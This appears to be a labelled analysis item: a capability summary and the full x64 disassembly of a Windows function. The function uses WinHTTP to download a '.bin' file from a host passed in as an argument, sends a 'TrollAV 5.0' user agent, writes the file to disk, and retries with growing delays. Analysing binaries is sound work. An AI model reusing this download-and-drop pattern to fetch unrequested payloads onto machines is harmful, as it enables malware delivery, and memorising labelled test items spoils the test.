Function at 0x401b12
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov dword [rbp - 0x3c], eax
mov eax, 0
mov dword [rbp - 0x40], eax
mov eax, 0
mov dword [rbp - 0x44], eax
movabs rax, 0
mov qword [rbp - 8], rax
movabs rax, 0
mov qword [rbp - 0x10], rax
movabs rax, 0
mov qword [rbp - 0x18], rax
movabs rax, 0
mov qword [rbp - 0x20], rax
movabs rax, 0
mov qword [rbp - 0x28], rax
movabs rax, 0
mov qword [rbp - 0x30], rax
mov eax, 1
mov dword [rbp - 0x34], eax
mov eax, 0
mov dword [rbp - 0x38], eax
lea rax, [rbp - 0x44]
mov r8, rax
lea rax, [rbp - 0x40]
mov r11, rax
lea rax, [rbp - 0x3c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ntdll.dll_RtlGetNtVersionNumbers
mov eax, dword [rbp - 0x38]
cmp eax, 0
je 0x401bcb
jmp 0x402526
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x100
mov qword [rsp + 0x28], rax
mov eax, 2
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0x40000000
mov r11, rax
mov rax, qword [rbp + 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateFileW
mov qword [rbp - 0x50], rax
movabs rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x50]
cmp rax, rcx
jne 0x401c67
call sub.kernel32.dll_GetLastError
mov ecx, 0x205
mov r8, rcx
mov r11, rax
lea rax, [0x0040311c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x402529
call sub.kernel32.dll_GetProcessHeap
movabs rcx, 0x200
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x401ca6
jmp 0x401cef
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x20a
mov r8, rcx
mov r11, rax
lea rax, [0x0040312f]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 8]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapSize
lea rcx, str._isapi_isapiv5.dll_v5_ucph_yzxt_240602155033465_001b52001fff_000001_coxc.bin
mov r9, rcx
lea rcx, [0x00403142]
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
call sub.kernel32.dll_GetProcessHeap
movabs rcx, 0x200
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x401d79
jmp 0x401dc2
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x20f
mov r8, rcx
mov r11, rax
lea rax, [0x00403198]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x10]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapSize
mov ecx, dword [rbp - 0x44]
and ecx, 0xffff
mov qword [rsp + 0x30], rcx
mov ecx, dword [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov ecx, dword [rbp - 0x3c]
mov qword [rsp + 0x20], rcx
lea rcx, str.TrollAV_5.0
mov r9, rcx
lea rcx, str._hs_WindowsNT_i._i._i_
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 4
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpOpen
movsxd rax, eax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x401e83
jmp 0x401ecc
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x220
mov r8, rcx
mov r11, rax
lea rax, [0x004031ec]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov rax, qword [rbp + 0x10]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpConnect
movsxd rax, eax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x401f0f
jmp 0x401f58
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x223
mov r8, rcx
mov r11, rax
lea rax, [0x004031ff]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
lea rax, [0x00403212]
mov qword [rbp - 0x60], rax
movabs rax, 0
mov qword [rbp - 0x58], rax
mov eax, 0
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov rax, qword [rbp + 0x18]
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpOpenRequest
movsxd rax, eax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x401fda
jmp 0x402023
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x228
mov r8, rcx
mov r11, rax
lea rax, [0x0040321a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
mov eax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpSendRequest
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402089
jmp 0x4020d2
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x234
mov r8, rcx
mov r11, rax
lea rax, [0x0040322d]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpReceiveResponse
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402105
jmp 0x40214e
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x237
mov r8, rcx
mov r11, rax
lea rax, [0x00403240]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
lea rax, [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryDataAvailable
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x40217b
jmp 0x4021c4
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x23b
mov r8, rcx
mov r11, rax
lea rax, [0x00403253]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
mov eax, dword [rbp - 0x68]
cmp eax, 0
je 0x402400
call sub.kernel32.dll_GetProcessHeap
mov ecx, dword [rbp - 0x68]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x402208
jmp 0x402251
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x240
mov r8, rcx
mov r11, rax
lea rax, [0x00403266]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
lea rax, [rbp - 0x6c]
mov r9, rax
mov eax, dword [rbp - 0x68]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpReadData
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x40228b
jmp 0x4022d4
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x244
mov r8, rcx
mov r11, rax
lea rax, [0x00403279]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
movabs rax, 0
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x70]
mov r9, rax
mov eax, dword [rbp - 0x6c]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x50]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WriteFile
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x40231d
jmp 0x402347
call sub.kernel32.dll_GetLastError
mov ecx, 0x24c
mov r8, rcx
mov r11, rax
lea rax, [0x0040328c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402400
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x402385
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x30]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
movabs rax, 0
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryDataAvailable
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x4023b2
jmp 0x4023fb
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x256
mov r8, rcx
mov r11, rax
lea rax, str.ERROR__lu_in__i_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402406
jmp 0x4021c4
mov eax, dword [rbp - 0x64]
mov dword [rbp - 0x38], eax
movabs rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x50]
cmp rax, rcx
je 0x40242c
mov rax, qword [rbp - 0x50]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x40246a
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x30]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
movabs rax, 0
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x402487
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x4024a4
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4024c1
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x4024f1
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x10]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x402521
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 8]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
jmp 0x401bba
mov eax, dword [rbp - 0x38]
leave
ret